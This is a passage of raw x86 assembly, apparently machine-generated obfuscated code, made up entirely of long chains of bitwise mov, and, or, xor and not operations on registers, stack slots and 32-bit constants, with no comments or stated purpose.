and edi, 0x4c190008
or edi, eax
mov dword [esp + 0xc], edi
mov ecx, esi
mov dword [esp], esi
mov ebp, esi
not ebp
xor ecx, 0x382e6d2
and ecx, ebp
mov eax, ecx
not eax
mov esi, eax
and esi, 0xc8be13ca
and ecx, 0x3741ec35
or ecx, esi
mov esi, ebp
or esi, 0x382e6d2
or eax, esi
and esi, 0xc8be13ca
mov edi, dword [esp]
and edi, 0x34410825
or edi, esi
xor edi, ecx
not eax
or eax, edi
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [esp + 0xc]
xor ecx, eax
xor edx, 0x5850bfd6
mov eax, edx
and eax, 0xc080400
and ebx, 0x43d17bdc
or ebx, eax
mov eax, dword [esp]
or edx, eax
and eax, 0xbc2e8423
and ebp, 0x43d17bdc
or ebp, eax
xor ebp, ebx
not edx
or edx, ebp
not edx
or edx, ecx
mov eax, edx
xor eax, 0x12028022
mov esi, edx
xor esi, 0x4d994608
xor edx, 0x13bac7a7
and edx, esi
or esi, 0xa1dc7e50
mov ecx, edx
not ecx
mov edi, esi
and edi, 0x61f557c5
and eax, 0x1e02802a
or eax, edi
or esi, ecx
and ecx, 0x61f557c5
and edx, 0x9e0aa83a
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov eax, esi
xor eax, 0x20084250
xor esi, 0x8200004
and esi, 0x8a01c04
and eax, 0x2208c251
or eax, esi
mov edx, eax
xor edx, 0x84001
or edx, 0xc0112002
xor eax, 0xa01800
and eax, 0x22a09a50
and edx, 0xc8196407
or edx, eax
mov esi, edx
xor esi, 0xc8196407
xor edx, 0x37e69bf8
mov eax, dword [esp + 8]
and eax, 0xd7fe377c
mov ecx, dword [esp + 4]
and ecx, 0x2801c883
or ecx, eax
mov edi, ecx
xor edi, 0x2801c883
xor ecx, 0x2a81654
mov eax, edi
and eax, 0x2aa8de55
and ecx, 0x2aa8de55
and edi, 0xd55721aa
or edi, ecx
or edi, eax
mov ecx, edi
not ecx
mov ebx, edi
and ebx, 0x64646aa5
mov eax, ecx
and eax, 0x9b9b955a
or eax, ebx
mov ebx, edx
and ebx, 0xab265101
mov ebp, esi
and ebp, 0x888e54
or ebp, ebx
mov ebx, eax
xor ebx, 0x1099845a
xor eax, 0x20244001
and eax, 0xab265101
and ebx, 0x54d9aefe
or ebx, eax
xor ebx, ebp
mov eax, ebx
xor eax, edx
and eax, ebx
mov ebx, edx
and ebx, 0x9f255ffa
and esi, 0x20888005
or esi, ebx
xor esi, 0x9f255ffa
or esi, edi
and edi, 0xd985368b
and ecx, 0x267ac974
or ecx, edi
xor ecx, 0xd985368b
or ecx, edx
mov edx, ecx
and edx, 0xeff9ffd7
xor edx, esi
xor edx, 0x10060028
or ecx, esi
not ecx
or ecx, edx
mov esi, ecx
not esi
mov edx, eax
xor edx, esi
and edx, eax
and esi, 0x12172b46
and ecx, 0xede8d4b9
or ecx, esi
xor ecx, eax
mov esi, ecx
xor esi, 0x12172b46
mov eax, edx
not eax
xor ecx, 0xede8d4b9
mov edi, eax
and edi, 0x4bb8af93
and edx, 0xb447506c
or edx, edi
or eax, ecx
and ecx, 0x4bb8af93
and esi, 0xb447506c
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov edx, eax
not edx
mov ecx, eax
mov esi, edx
and esi, 0xd55721aa
and eax, 0x2aa8de55
or eax, esi
not eax
or eax, edx
and edx, 0x29fa0f6a
and ecx, 0xd605f095
or ecx, edx
mov edx, ecx
xor edx, 0x84052000
xor ecx, 0x20020
and ecx, 0x500200a0
and edx, 0x8555210a
or edx, ecx
mov ecx, edx
xor ecx, 0x140008
or ecx, 0x28288c04
xor edx, 0x400200a0
and edx, 0xc54321a2
and ecx, 0x383c8c0c
or ecx, edx
mov ebp, ecx
xor ebp, 0x383c8c0c
xor ecx, 0xc0c05340
mov edi, eax
not edi
and ecx, 0xd0c0d348
mov edx, ebp
and edx, 0x51720a2
or edx, ecx
mov ecx, edx
xor ecx, 0x2f3f2cb7
mov esi, eax
and esi, 0x4136ab52
xor eax, 0x7e744954
and eax, edi
mov ebx, edi
and ebx, 0xbec954ad
or ebx, esi
mov edi, ebx
xor edi, 0xbec954ad
xor edx, 0xd0c0d348
mov esi, ecx
and esi, 0x8183b6ab
and ebp, 0x54540100
or ebp, esi
mov esi, ebx
xor esi, 0xc0bd1df9
and esi, edi
or eax, esi
xor eax, ebp
xor eax, 0x80000
xor ebx, 0x4136ab52
mov esi, edx
and esi, 0xd152a020
and ecx, 0xc0d0bdf
or ecx, esi
or edx, ebx
and ebx, 0xf3f2f420
and edi, 0xc0d0bdf
or edi, ebx
xor edi, ecx
mov esi, edx
not esi
or esi, edi
not esi
or esi, eax
mov edi, esi
not edi
mov eax, edi
and eax, esi
mov edx, eax
not edx
mov ecx, esi
mov ebp, esi
and ecx, 0x5c5fc504
mov esi, edi
mov ebx, edi
and esi, 0xa3a03afb
or esi, ecx
mov ecx, ebp
mov dword [esp + 4], ebp
or ecx, edx
and edx, 0x5c5fc504
and eax, 0xa3a03afb
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov edi, ecx
xor edi, 0x2d941da9
and edi, ecx
mov dword [esp + 0x10], ebx
mov ecx, ebx
and ecx, 0xd26be256
mov esi, ebp
and esi, 0x2d941da9
or esi, ecx
mov eax, esi
xor eax, ebx
and eax, esi
mov dword [esp], eax
mov edx, edi
not edx
mov dword [esp + 8], edx
mov ecx, edi
or ecx, 0x722600
and ecx, 0x8272273c
mov esi, edx
and esi, 0x750c8000
or esi, ecx
mov dword [esp + 0xc], esi
mov ecx, edx
or ecx, 0x8200013c
and ecx, 0x8272273c
mov esi, edi
and esi, 0x88158c3
or esi, ecx
mov ebp, eax
not ebp
mov ecx, eax
xor ecx, 0xf70c813c
and ecx, ebp
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x42ca9c87
and ecx, 0xbd356378
or ecx, eax
mov eax, ebp
or eax, 0xf70c813c
or ebx, eax
and eax, 0x42ca9c87
mov edx, dword [esp]
and edx, 0x8316240
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
xor ebx, dword [esp + 0xc]
xor ebx, esi
mov eax, edi
and eax, 0x10ce71dd
mov ecx, dword [esp + 8]
and ecx, 0xef318e22
or ecx, eax
mov eax, dword [esp]
or edi, eax
and eax, 0x10ce71dd
and ebp, 0xef318e22
or ebp, eax
xor ebp, ecx
not edi
or edi, ebp
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xbb7d39d7
and ebx, 0x4482c628
or ebx, eax
xor ebx, edi
xor ebx, 0x4482c628
or ecx, edi
not ecx
or ecx, ebx
mov eax, ecx
xor eax, 0x2d941da9
mov dword [esp + 8], eax
mov edx, ecx
xor edx, 0xd26be256
mov dword [esp + 0xc], edx
xor ecx, 0xb884aacc
and ecx, eax
mov eax, edx
or eax, ecx
not ecx
and ecx, 0x6aef489a
and eax, 0x9510b765
or eax, ecx
mov ebx, eax
not ebx
mov ecx, eax
or ecx, 0xa11bbac4
mov edx, ecx
and edx, 0xa2b05795
mov esi, ebx
and esi, 0x5c44002a
or esi, edx
mov edx, eax
xor edx, 0x5ee4453b
and edx, eax
mov edi, edx
not edi
or ecx, edi
and edi, 0xa2b05795
and edx, 0x5d4fa86a
or edx, edi
xor edx, esi
not ecx
or ecx, edx
and eax, 0x5aa13122
mov edx, ebx
and edx, 0xa55ecedd
or edx, eax
xor ecx, 0xa012e217
xor edx, 0x5ba869f1
and ebx, 0x10958d3
or ebx, edx
not ebx
or ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xa460c596
and eax, ebx
and ebx, 0x5b9f3a69
or ebx, ecx
mov ecx, ebx
xor ecx, 0x11c1820
xor ebx, 0xa460c596
mov edx, ebx
and edx, 0x7aa3a2d9
and ecx, 0x855c5d26
or ecx, edx
mov edx, eax
not edx
or ebx, edx
and edx, 0x7aa3a2d9
and eax, 0x855c5d26
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov esi, dword [esp + 0x10]
mov eax, esi
and eax, 0xa329b20f
mov edx, dword [esp + 4]
mov ecx, edx
and ecx, 0x5cd64df0
or ecx, eax
mov eax, ecx
xor eax, 0x40460020
xor ecx, 0x81200000
or esi, 0x89300890
or ecx, 0x2280e441
and ecx, 0xabb0ecd1
and eax, 0x4047002a
or eax, ecx
and esi, 0xabb0ecd1
and edx, 0x14081304
or edx, esi
xor edx, eax
mov ecx, edx
xor ecx, 0x3688f745
mov eax, edx
xor eax, 0xc87e5069
and eax, ecx
xor edx, 0x650038
and edx, 0x30656439
and ecx, 0xcf9a9bc6
or ecx, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0x2e990c5e
and eax, 0xd166f3a1
or eax, edx
mov edx, ecx
xor edx, 0x116430a0
xor ecx, 0xce93c315
or esi, ecx
and ecx, 0x2e990c5e
and edx, 0xd166f3a1
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov edi, esi
mov edx, ebx
not edx
mov eax, edx
and eax, 0xf4c86fc
mov ecx, ebx
and ecx, 0xf0b37903
or ecx, eax
mov eax, ecx
xor eax, 0x80114002
xor ecx, 0x40062c
or ecx, 0x11801000
and ecx, 0x51e2372c
and eax, 0x8419c052
or eax, ecx
mov ecx, edx
or ecx, 0x4062272c
and ecx, 0x51e2372c
and ebx, 0x2a040881
or ebx, ecx
xor ebx, eax
mov ecx, ebx
xor ecx, 0x3b841881
mov dword [esp + 0x10], ecx
xor ebx, 0xc47be77e
mov dword [esp + 0x14], ebx
mov eax, ebx
and eax, 0xe72dad5f
and ecx, 0x18d252a0
or ecx, eax
mov eax, ecx
xor eax, 0x18d252a0
xor ecx, 0x27240017
and ecx, 0x3f6452b7
mov esi, eax
and esi, 0xc09bad48
or esi, ecx
xor esi, 0xb8de73e2
and eax, 0x87ba2155
or eax, esi
mov esi, edi
not esi
mov ecx, esi
mov dword [esp], esi
and ecx, 0x87ba2155
mov ebp, edi
mov dword [esp + 0x18], edi
and ebp, 0x7845deaa
or ebp, ecx
mov ecx, edi
and ecx, 0x63ba5491
and esi, 0x9c45ab6e
or esi, ecx
mov ebx, esi
xor ebx, 0x9c45ab6e
xor esi, 0x41800410
and esi, 0x5981ac16
mov edi, ebx
and edi, 0xa67e53e9
or edi, esi
xor edi, 0x21c472bc
and ebx, 0x7845deaa
or ebx, edi
mov esi, eax
xor esi, 0x18f7d47a
xor esi, eax
or edx, 0x7845deaa
xor esi, 0xe7082b85
and esi, edx
xor esi, eax
or eax, edx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xbbc7647c
and esi, 0x44389b83
or esi, edx
or ecx, eax
and eax, 0xbfff657d
xor eax, esi
xor eax, 0x4380101
not ecx
or ecx, eax
mov dword [esp + 0x20], ecx
mov edi, ebx
not edi
mov eax, ebx
and eax, 0xa8dfbe2f
xor ebx, 0x5e2e78f6
and ebx, edi
and edi, 0x572041d0
or edi, eax
mov dword [esp + 4], edi
mov ecx, ebp
not ecx
or ecx, dword [esp]
mov dword [esp + 0x24], ecx
mov ebp, ecx
not ebp
mov esi, ebp
or esi, 0x5e2e78f6
mov eax, esi
and eax, 0x882ed173
mov edx, ecx
and edx, 0x21d10608
or edx, eax
mov eax, ecx
xor eax, 0x5e2e78f6
and eax, ebp
mov edi, eax
not edi
or esi, edi
and edi, 0x882ed173
and eax, 0x77d12e8c
or eax, edi
xor eax, edx
not esi
or esi, eax
mov edi, dword [esp + 4]
mov edx, edi
xor edx, 0x572041d0
xor edi, 0x90e3926
and edi, edx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xc6e00235
and edi, 0x391ffdca
or edi, ecx
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0xc6e00235
and ebx, 0x391ffdca
or ebx, ecx
xor ebx, edi
not eax
or eax, ebx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, esi
xor ecx, eax
mov eax, ebp
and eax, 0x240501b7
mov esi, dword [esp + 0x24]
and esi, 0xdbfafe48
or esi, eax
mov eax, dword [esp + 4]
xor eax, 0xa8dfbe2f
or ebp, eax
and eax, 0x240501b7
and edx, 0xdbfafe48
or edx, eax
xor edx, esi
not ebp
or ebp, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd7ca526
and ecx, 0xf2835ad9
or ecx, edx
mov edx, ebp
not edx
or eax, ebp
and ebp, 0xd7ca526
and edx, 0xf2835ad9
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, dword [esp + 0x20]
mov edx, ecx
not edx
mov esi, edx
and esi, 0x9e991398
xor edx, eax
not edx
and edx, ecx
and ecx, 0x6166ec67
or ecx, esi
xor ecx, eax
xor ecx, 0x9e991398
and ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x5166f985
and ecx, 0xae99067a
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x5166f985
and edx, 0xae99067a
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, dword [esp + 0x14]
mov ecx, edx
and edx, 0xf6a2f410
mov esi, edx
mov edx, dword [esp + 0x10]
and edx, 0x95d0bef
or edx, esi
mov esi, dword [esp]
or ecx, esi
and esi, 0xf6a2f410
mov edi, dword [esp + 0x18]
and edi, 0x95d0bef
or edi, esi
xor edi, edx
mov edx, edi
not edx
mov esi, edx
and esi, 0x331b3dfd
and edi, 0xcce4c202
or edi, esi
xor edi, ecx
xor edi, 0xcce4c202
or edx, ecx
not edx
or edx, edi
xor edx, eax
and eax, edx
mov esi, edx
not esi
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0x9a10fa56
and eax, 0x65ef05a9
or eax, edi
or ecx, edx
and edx, 0x9a10fa56
and esi, 0x65ef05a9
or esi, edx
xor esi, eax
not ecx
or ecx, esi
mov edx, ecx
not edx
mov eax, edx
mov ebp, edx
and eax, 0xa0f8d52
mov esi, ecx
and esi, 0xf5f072ad
or esi, eax
mov edx, esi
xor edx, 0x502002ac
xor esi, 0x2020800
and esi, 0xa7d27801
and edx, 0x582d87fe
or edx, esi
mov edi, edx
xor edi, 0x3504001
xor edx, 0x18298412
and edx, 0xbcabbc12
and edi, 0x435443ed
or edi, edx
mov esi, edi
xor esi, 0x435443ed
xor edi, 0x8c08bc02
and edi, 0xcf48bfaf
mov eax, esi
and eax, 0x30b74050
or eax, edi
xor eax, 0xce41e77d
and esi, 0x10958d2
or esi, eax
mov edx, esi
not edx
mov eax, ebp
and eax, 0x5718d8f0
and ecx, 0xa8e7270f
or ecx, eax
xor ecx, 0xa9ee7fdd
xor ebp, ecx
and ebp, ecx
mov edi, esi
and edi, 0xac7811f2
xor esi, 0xc827c173
and esi, edx
mov ecx, edx
and ecx, 0x5387ee0d
or ecx, edi
mov eax, ecx
xor eax, 0x5387ee0d
mov dword [esp + 4], eax
mov ebx, ecx
xor ebx, 0x9ba02f7e
and ebx, eax
mov edi, ebx
not edi
mov eax, edi
and eax, 0xf9b05f6c
and ebx, 0x64fa093
or ebx, eax
mov eax, esi
not eax
or edi, eax
and eax, 0xf9b05f6c
and esi, 0x64fa093
or esi, eax
xor esi, ebx
not edi
or edi, esi
mov ebx, ebp
mov dword [esp], ebp
mov esi, ebp
not esi
xor ebx, 0x37d83e8c
mov eax, ebx
and eax, esi
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0xa4fef472
and eax, 0x5b010b8d
or eax, edx
and ebx, dword [esp]
mov edx, ebx
not edx
or ebp, edx
and edx, 0xa4fef472
and ebx, 0x5b010b8d
or ebx, edx
xor ebx, eax
not ebp
or ebp, ebx
mov ebx, ebp
xor ebx, ebp
not ebx
and ebx, edi
xor ebx, ebp
xor ecx, 0xac7811f2
mov eax, ecx
and eax, 0xd0978631
mov edx, dword [esp + 4]
and edx, 0x2f6879ce
or edx, eax
mov eax, dword [esp]
or ecx, eax
and eax, 0xd0978631
and esi, 0x2f6879ce
or esi, eax
xor esi, edx
not ecx
or ecx, esi
mov edi, ebx
not edi
mov eax, edi
and eax, 0x8deecb28
and ebx, 0x721134d7
or ebx, eax
xor ebx, ecx
xor ebx, 0x721134d7
or edi, ecx
not edi
or edi, ebx
mov ebx, dword [esp + 0xc]
mov eax, ebx
and eax, 0xfffffffe
mov esi, dword [esp + 8]
mov edx, esi
and edx, 1
or edx, eax
mov ecx, edx
xor ecx, ebx
and ecx, edx
mov eax, esi
or eax, 0x81912296
or ebx, 1
and eax, 0x81912297
and ebx, 0x81912297
and esi, 0x7e6edd68
or esi, ebx
xor esi, eax
mov edx, ecx
not edx
mov eax, esi
not eax
and esi, edx
or edx, eax
not edx
and eax, ecx
or eax, esi
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2a13c309
mov ebx, eax
and ebx, 0x90280000
or ebx, edx
xor ebx, 0x90280000
mov esi, eax
and esi, 0x45c43cf6
or esi, ebx
mov edx, esi
and edx, 0x40921154
xor esi, 0x42800
xor edx, 0x120100
and esi, 0x9004a800
or esi, edx
mov edx, esi
xor edx, 0x10002000
or edx, 0x26290602
xor esi, 0x900044
and esi, 0x80948844
and edx, 0x762b3712
or edx, esi
mov ebx, edx
xor ebx, 0x762b3712
mov esi, ecx
and esi, 0xd096b954
and eax, 0x2f6946ab
or eax, esi
xor ecx, eax
and ecx, eax
mov eax, ecx
not eax
mov esi, ebx
xor esi, eax
and esi, ebx
xor edx, 0x8910c0e8
and edx, 0xeb12e1ea
and ebx, 0x10841814
or ebx, edx
and eax, 0xeb12e1ea
and ecx, 0x14ed1e15
or ecx, eax
xor ecx, ebx
mov eax, esi
not eax
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0x8dd36580
and esi, 0x50049854
or esi, ebx
or eax, edx
and edx, 0x8dd36580
and ecx, 0x722c9a7f
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x1774640d
mov esi, eax
and esi, 0xe88b9bf2
or esi, edx
mov edx, esi
xor edx, 0x200002a2
xor esi, 0x4400001
or ecx, 0xc490001
or esi, 0xa004
and esi, 0xc49a005
and edx, 0x232046aa
or edx, esi
and ecx, 0xc49a005
and eax, 0xd0961950
or eax, ecx
xor eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, eax
mov esi, ecx
not esi
mov ebx, eax
and ebx, 0x28301249
and edx, 0xd7cfedb6
or edx, ebx
or eax, esi
and esi, 0x28301249
and ecx, 0xd7cfedb6
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov esi, eax
not esi
mov edx, esi
and edx, eax
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xddfad54b
and edx, 0x22052ab4
or edx, ebx
or ecx, esi
and esi, 0xddfad54b
and eax, 0x22052ab4
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x10034112
mov esi, ecx
and esi, 0x40b08405
or esi, edx
mov edx, esi
xor edx, 0x100004
xor esi, 0x840a1be0
or eax, 0x40a28501
and esi, 0xc4aa9fe1
and edx, 0x10114016
or edx, esi
and eax, 0xc4aa9fe1
and ecx, 0x2b442008
or ecx, eax
xor ecx, edx
mov eax, ecx
xor eax, 0xaf4c3ae8
xor ecx, 0x50b3c517
mov edx, ecx
and edx, 0xe3371fcd
mov ebx, eax
and ebx, 0x1cc8e032
or ebx, edx
mov esi, ebx
xor esi, 0x14808030
mov edx, edi
not edx
mov ebp, edx
and ebp, 0x8a5b7f43
or ecx, edi
and edi, 0x75a480bc
or edi, ebp
xor ebx, 0x82131f41
and ebx, 0x8a5b7f43
and esi, 0x75a480bc
or esi, ebx
xor esi, edi
not esi
or esi, edx
or edx, eax
mov eax, ecx
xor eax, edx
or edx, ecx
not edx
or edx, eax
mov eax, edx
not eax
xor edx, eax
and edx, esi
or esi, eax
not esi
xor edx, eax
or edx, esi
mov eax, edx
not eax
mov ecx, edx
mov esi, edx
mov edi, edx
mov ebx, edx
or ebx, 0x320ae002
and ebx, 0x321af03a
mov ebp, eax
and ebp, 0x84610b81
or ebp, ebx
mov ebx, eax
or ebx, 0x101038
and ebx, 0x321af03a
and edx, 0x49840444
or edx, ebx
mov ebx, eax
xor edx, ebp
mov ebp, eax
xor edx, 0x84711bb9
or edx, eax
and ebp, 0x1b7100cf
and ecx, 0xe48eff30
or ecx, ebp
mov ebp, ecx
xor ebp, 0x84830
xor ecx, 0x100000
or eax, 0x60100200
or ecx, 0xf453103
and ecx, 0x6f553303
and ebp, 0x848f0
or ebp, ecx
and eax, 0x6f553303
and esi, 0x90a2840c
or esi, eax
xor esi, ebp
mov eax, esi
and eax, 0x3210361
xor eax, 0x3210101
and esi, 0x88c00000
or esi, eax
mov ecx, esi
xor ecx, 0x3200001
or ecx, 0x70068010
xor esi, 0x88800000
and esi, 0x88810360
and ecx, 0x73668011
or ecx, esi
mov eax, ecx
xor eax, 0x73668011
and ebx, 0x4db200d2
and edi, 0xb24dff2d
or edi, ebx
mov esi, edi
xor esi, 0xb24dff2d
xor edi, 0x4db000c0
and edi, 0xedf0c3e5
mov ebx, esi
and ebx, 0x120f3c1a
or ebx, edi
xor ebx, 0x6611c084
and esi, 0x8be10361
or esi, ebx
mov edi, eax
xor edi, esi
and edi, eax
xor ecx, 0x897546
and ecx, 0x43eb7547
and eax, 0x88000220
or eax, ecx
xor eax, esi
xor eax, 0xbc148ab8
or eax, edi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x9100050
mov edi, eax
and edi, 0x8b000
or edi, esi
xor edi, 0x49924650
mov esi, ecx
or esi, 0x918b050
and ecx, 0x94400801
or ecx, edi
and esi, 0x499af650
and eax, 0x222501ae
or eax, esi
xor eax, ecx
mov ebx, eax
xor ebx, 0xe94644cf
xor eax, 0x16b9bb30
mov ecx, eax
and ecx, ebx
mov esi, ecx
not esi
mov edi, ebx
and edi, 0x7b971213
and eax, 0x8468edec
or eax, edi
or ebx, esi
and esi, 0x7b971213
and ecx, 0x8468edec
or ecx, esi
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xcd8bafa4
and eax, ebx
and ebx, 0x3274505b
or ebx, ecx
xor ebx, 0x3274505b
or ebx, eax
mov ebp, ebx
not ebp
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0xb908605e
mov esi, edx
or esi, 0x3900605e
or ecx, 0x46020100
and ecx, 0x7f02615e
mov edi, edx
and edi, 0x850201
or edi, ecx
and esi, 0x7f02615e
mov ecx, eax
and ecx, 0x80789ca0
or ecx, esi
xor ecx, edi
mov dword [esp + 8], ecx
mov edi, ebx
mov dword [esp + 0xc], ebx
mov ecx, ebx
and ecx, 0xb1deb13d
mov dword [esp], ebp
mov esi, ebp
and esi, 0x4e214ec2
or esi, ecx
xor esi, 0x90c0ac1c
mov ebx, esi
xor ebx, edi
and ebx, esi
mov esi, ebp
and esi, 0xdee1e2de
mov ecx, edi
and ecx, 0x211e1d21
or ecx, esi
mov esi, dword [esp + 8]
mov edi, esi
xor edi, 0xc67a9da0
mov dword [esp + 4], edi
mov edi, esi
xor edi, 0x3985625f
mov dword [esp + 0x10], edi
mov esi, edi
and esi, 0x211e1d21
mov ebp, dword [esp + 4]
and ebp, 0xdee1e2de
or ebp, esi
mov esi, ebp
xor esi, edi
and esi, ebp
mov dword [esp + 0x18], esi
and edx, 0x9d7f4743
and eax, 0x6280b8bc
or eax, edx
mov esi, eax
xor esi, 0x6280b8bc
xor eax, 0x802a4603
and eax, 0x822a46b3
mov edx, esi
and edx, 0x7dd5b94c
or edx, eax
xor edx, 0x5ccba46d
and esi, 0xdee1e2de
or esi, edx
mov dword [esp + 0x14], esi
not ecx
or ecx, dword [esp]
mov eax, ecx
not eax
and ecx, 0x65a3ba7c
mov edx, eax
and edx, 0x9a5c4583
or edx, ecx
mov ebp, ebx
not ebp
mov ecx, ebx
xor ecx, 0xacc22efd
and ecx, ebp
mov edi, ebx
and edi, 0x533dd102
or edi, ecx
mov ecx, edx
xor ecx, 0x9a5c4583
mov esi, ecx
and esi, 0xacc22efd
and eax, 0x533dd102
or eax, esi
mov esi, eax
xor esi, eax
not esi
and esi, edi
xor esi, eax
mov eax, ebx
and eax, 0x7f803b13
and ebp, 0x807fc4ec
or ebp, eax
xor edx, 0x65a3ba7c
or ebx, edx
and edx, 0x7f803b13
and ecx, 0x807fc4ec
or ecx, edx
xor ecx, ebp
not ebx
or ebx, ecx
not ebx
or ebx, esi
mov eax, dword [esp + 0x18]
mov ecx, eax
xor ecx, 0x7fd4dee4
mov esi, ecx
and ecx, eax
not eax
and esi, eax
mov edx, esi
not edx
mov edi, edx
and edi, 0xf18810b7
and esi, 0xe77ef48
or esi, edi
mov edi, ecx
not edi
or edx, edi
and edi, 0xf18810b7
and ecx, 0xe77ef48
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov ecx, dword [esp + 0x14]
xor edx, ecx
or eax, ecx
mov ecx, edx
xor ecx, 0x2a2001
xor edx, 0x7fd4dee4
mov esi, edx
and esi, 0xf9019f5a
and ecx, 0x6fe60a5
or ecx, esi
mov esi, eax
not esi
or edx, eax
and eax, 0xf9019f5a
and esi, 0x6fe60a5
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0x80def3e7
and ecx, eax
and eax, edx
or eax, ecx
mov ecx, ebx
xor ecx, 0x80def3e7
and ecx, ebx
mov edx, ebx
or ebx, 0x7f210c18
not edx
mov edi, ebx
and edi, 0xc00f6096
and edx, 0xd09361
or edx, edi
mov edi, ecx
not edi
or ebx, edi
and edi, 0xc00f6096
and ecx, 0x3ff09f69
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov edx, eax
xor edx, eax
not edx
and edx, ebx
mov ebx, dword [esp + 8]
xor ebx, 0xd210fe04
mov ebp, dword [esp + 4]
and ebx, ebp
xor edx, eax
mov eax, dword [esp + 0xc]
mov ecx, eax
and ecx, 0x6b9aeb9e
xor eax, 0xeb959c5b
mov esi, dword [esp]
and eax, esi
mov edi, eax
mov eax, esi
and eax, 0x94651461
or eax, ecx
xor eax, 0x94651461
mov ecx, dword [esp + 0x10]
and ecx, 0x7b44778e
and ebp, 0x84bb8871
or ebp, ecx
mov esi, ebp
xor esi, 0x84bb8871
xor ebp, 0x6f2e142a
and ebp, esi
or esi, eax
and eax, 0x146a63a4
or edi, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0xafa59be7
and ebp, 0x505a6418
or ebp, ecx
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0xafa59be7
and ebx, 0x505a6418
or ebx, ecx
xor ebx, ebp
not eax
or eax, ebx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, edi
xor ecx, eax
not esi
or esi, ecx
mov ecx, esi
not ecx
mov eax, esi
xor eax, 0xdd375e9b
and eax, esi
or esi, 0x22c8a164
mov edi, eax
not edi
mov ebx, esi
and ebx, 0x13c07481
and ecx, 0xcc370a1a
or ecx, ebx
or esi, edi
and edi, 0x13c07481
and eax, 0xec3f8b7e
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov ecx, esi
xor ecx, 0x20882140
xor esi, 0xd5320010
and esi, 0xd7728034
and ecx, 0x288d7fcb
or ecx, esi
mov esi, ecx
xor esi, 0x28803ac9
mov edi, ecx
xor edi, 0xd7728034
mov eax, edx
not eax
and esi, 0xecc0bafd
xor ecx, 0x9eda2e6c
and ecx, edi
and edi, 0x133f4502
or edi, esi
mov esi, edx
or esi, 0x34530186
and esi, 0x35f30186
mov ebx, eax
and ebx, 0x4808ae58
or ebx, esi
mov esi, edi
xor esi, 0x133f4502
xor edi, 0xa56814a5
and edi, esi
or esi, eax
or eax, 0x1a00000
and eax, 0x35f30186
and edx, 0x82045021
or edx, eax
xor edx, ebx
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x4fa91d52
and edi, 0xb056e2ad
or edi, ebx
mov ebx, ecx
not ebx
or eax, ebx
and ebx, 0x4fa91d52
and ecx, 0xb056e2ad
or ecx, ebx
xor ecx, edi
not eax
or eax, ecx
xor eax, edx
not esi
or esi, eax
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x70a0081a
and esi, 0x8b020604
or esi, eax
xor esi, 0x8b020604
and ecx, 0x45df1e1
or ecx, esi
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xb97484c5
mov eax, edx
and eax, 0x468b7b3a
or eax, esi
xor eax, 0x468b7b3a
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x44696419
mov esi, eax
and esi, 0xbb969be6
or esi, edx
mov edi, esi
xor edi, 0xbb969be6
xor esi, 0x44496410
and esi, 0xf4db7c32
mov edx, edi
and edx, 0xb2483cd
or edx, esi
xor edx, 0xb2483cd
or edx, edi
mov edi, edx
not edi
mov esi, edx
or esi, ecx
not esi
and edx, 0x76034062
and edi, 0x89fcbf9d
or edi, edx
and ecx, 0x76034062
and eax, 0x89fcbf9d
or eax, ecx
xor eax, edi
or eax, esi
mov edx, eax
not edx
mov ecx, eax
mov esi, eax
xor esi, 0xff325488
and esi, eax
mov edi, edx
and edi, 0x6b579f03
and eax, 0x94a860fc
or eax, edi
xor eax, 0x7584341
or eax, edx
and edx, 0x99221000
and ecx, 0x66104488
or ecx, edx
xor ecx, 0x66104488
or ecx, esi
not esi
and esi, 0xcdab77
and ecx, 0xff325488
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x200311
and edx, 0x93d020ac
or edx, ecx
mov ecx, edx
xor ecx, 0x93d020ac
xor edx, 0xc049512
mov esi, ecx
xor esi, eax
and esi, ecx
and edx, 0x9f4495be
and ecx, 0xb02201
or ecx, edx
xor ecx, eax
xor ecx, 0x60bb6a41
or ecx, esi
mov eax, ecx
xor eax, 0x136000b4
